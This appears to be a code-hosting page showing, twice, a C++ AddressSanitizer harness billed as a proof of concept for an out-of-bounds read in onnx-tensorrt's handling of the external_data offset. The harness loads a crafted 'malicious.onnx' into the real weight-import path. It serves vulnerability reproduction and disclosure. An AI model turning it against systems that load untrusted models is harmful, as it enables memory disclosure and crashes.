onnx-tensorrt external_data offset OOB read PoC (CWE-125)

4616d53 5 months ago

1.77 kB

// Isolated ASAN harness: loads an attacker-supplied malicious.onnx and runs onnx-tensorrt's real
// weight-import path (WeightsContext::convertOnnxWeights -> convertDouble), triggering the unvalidated
// external_data `offset` OOB read (CWE-125). No GPU, no full TensorRT link.
#include "WeightsContext.hpp"
#include "onnx/onnx-ml.pb.h"
#include <NvInfer.h>
#include <fstream>
#include <iostream>

struct Logger : public nvinfer1::ILogger
{
    void log(Severity s, char const* msg) noexcept override
    {
        if (s <= Severity::kWARNING) std::cerr << "[trt] " << msg << "\n";
    }
};

int main(int argc, char** argv)
{
    GOOGLE_PROTOBUF_VERIFY_VERSION;
    std::string onnxPath = (argc > 1) ? argv[1] : "malicious.onnx";

    // Parse the attacker-supplied ONNX model file (w.bin must sit beside it).
    onnx::ModelProto model;
    {
        std::ifstream in(onnxPath, std::ios::binary);
        if (!in || !model.ParseFromIstream(&in)) { std::cerr << "failed to read " << onnxPath << "\n"; return 1; }
    }
    if (model.graph().initializer_size() == 0) { std::cerr << "no initializer\n"; return 1; }
    onnx::TensorProto const& t = model.graph().initializer(0);

    Logger logger;
    onnx2trt::WeightsContext ctx(&logger);
    ctx.setOnnxFileLocation(onnxPath); // external weights are resolved relative to the model file

    onnx2trt::ShapedWeights w{};
    std::cerr << "[*] loading " << onnxPath << " -> WeightsContext::convertOnnxWeights (real onnx-tensorrt path)\n";
    std::cerr << "[*] initializer '" << t.name() << "' external_data offset is attacker-controlled and unchecked...\n";
    bool ok = ctx.convertOnnxWeights(t, &w);
    std::cerr << "[*] returned " << ok << " WITHOUT crashing -> offset was bounded (no bug)\n";
    return 0;
}

	// Isolated ASAN harness: loads an attacker-supplied malicious.onnx and runs onnx-tensorrt's real
	// weight-import path (WeightsContext::convertOnnxWeights -> convertDouble), triggering the unvalidated
	// external_data `offset` OOB read (CWE-125). No GPU, no full TensorRT link.
	#include "WeightsContext.hpp"
	#include "onnx/onnx-ml.pb.h"
	#include <NvInfer.h>
	#include <fstream>
	#include <iostream>

	struct Logger : public nvinfer1::ILogger
	{
	void log(Severity s, char const* msg) noexcept override
	{
	if (s <= Severity::kWARNING) std::cerr << "[trt] " << msg << "\n";
	}
	};

	int main(int argc, char** argv)
	{
	GOOGLE_PROTOBUF_VERIFY_VERSION;
	std::string onnxPath = (argc > 1) ? argv[1] : "malicious.onnx";

	// Parse the attacker-supplied ONNX model file (w.bin must sit beside it).
	onnx::ModelProto model;
	{
	std::ifstream in(onnxPath, std::ios::binary);
	if (!in \|\| !model.ParseFromIstream(&in)) { std::cerr << "failed to read " << onnxPath << "\n"; return 1; }
	}
	if (model.graph().initializer_size() == 0) { std::cerr << "no initializer\n"; return 1; }
	onnx::TensorProto const& t = model.graph().initializer(0);

	Logger logger;
	onnx2trt::WeightsContext ctx(&logger);
	ctx.setOnnxFileLocation(onnxPath); // external weights are resolved relative to the model file

	onnx2trt::ShapedWeights w{};
	std::cerr << "[*] loading " << onnxPath << " -> WeightsContext::convertOnnxWeights (real onnx-tensorrt path)\n";
	std::cerr << "[*] initializer '" << t.name() << "' external_data offset is attacker-controlled and unchecked...\n";
	bool ok = ctx.convertOnnxWeights(t, &w);
	std::cerr << "[*] returned " << ok << " WITHOUT crashing -> offset was bounded (no bug)\n";
	return 0;
	}